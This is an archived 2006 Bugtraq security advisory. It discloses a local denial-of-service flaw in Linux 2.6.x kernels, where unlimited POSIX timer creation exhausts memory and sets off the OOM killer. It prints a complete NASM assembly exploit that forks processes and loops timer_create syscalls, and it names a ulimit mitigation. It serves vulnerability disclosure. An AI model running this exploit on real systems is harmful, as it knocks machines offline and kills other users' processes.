Date: Wed, 5 Apr 2006 01:24:40 +0200
From: fingerout <fingerout@gmail.com.>
To: bugtraq@securityfocus.com
Subject: Linux Kernel Local DoS vulnerability.
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline
X-Virus-Scanned: antivirus-gw at tyumen.ru
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hello.
I'd like to present one of Linux Kernel vulnerabilities. As far as I
know, this one affects 2.6.x kernels.
Problem
- --
The problem lies in sys_timer_create() in Linux/kernel/posix-timers.c.
Each time user creates a posix timer, some kernel memory is allocated.
Since count of timers that can be created by user is limited only by
sigqueue size (ex. 4294967295 in Debian) every local user can exhaust
all avaible memory which will trigger oom_killer (mm/oom_kill.c). If a
process itself uses a small amount of memory, it's oom_score will be
low, so all other processes would be killed.
Exploit
- --
- --------------8<---------------------
;nasm -f elf noHeaven.asm
;ld -s -o noHeaven noHeaven.o
section .text
global _start
count equ 8 ; threads count - do it quicker
_start:
mov ebx, count
call create_threads
jmp done
_pause:
mov eax,29
int 0x80
ret
create_threads:
mov eax,2
int 0x80
test eax,eax
jz consume
dec ebx
test ebx,ebx
jnz create_threads
ret
consume:
setsid: ; so we won't get counted as one thread in oom_killer=
()
xor ebx,ebx ; each task will have about 20 oom_score whic=
h
mov eax,66 ; is less than 'init' and others
int 0x80
push eax
loopek:
mov eax,259
mov ebx,0
mov ecx,0
mov edx,esp
int 0x80
jmp loopek
done:
xor ebx,ebx
mov eax,1
int 0x80
- --------------8<--------------------
Fix
- --
In my opinion the easiest way to defend is to enforce pending signals
queue size rlimit (ulimit -i).
Vendor notification status
- --
Vendor refused to fix this kind of bugs.
- --
Regards,
fingerout
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2.2 (GNU/Linux)
iD8DBQFEMwAY3AGvlpYpo4cRApESAJ9PPyZaHz5HExrh15pQdH51I3di+wCfee87
hqrfQZpKiyqugdZoabAHy9g=3D
=3D9y9Y
-----END PGP SIGNATURE-----
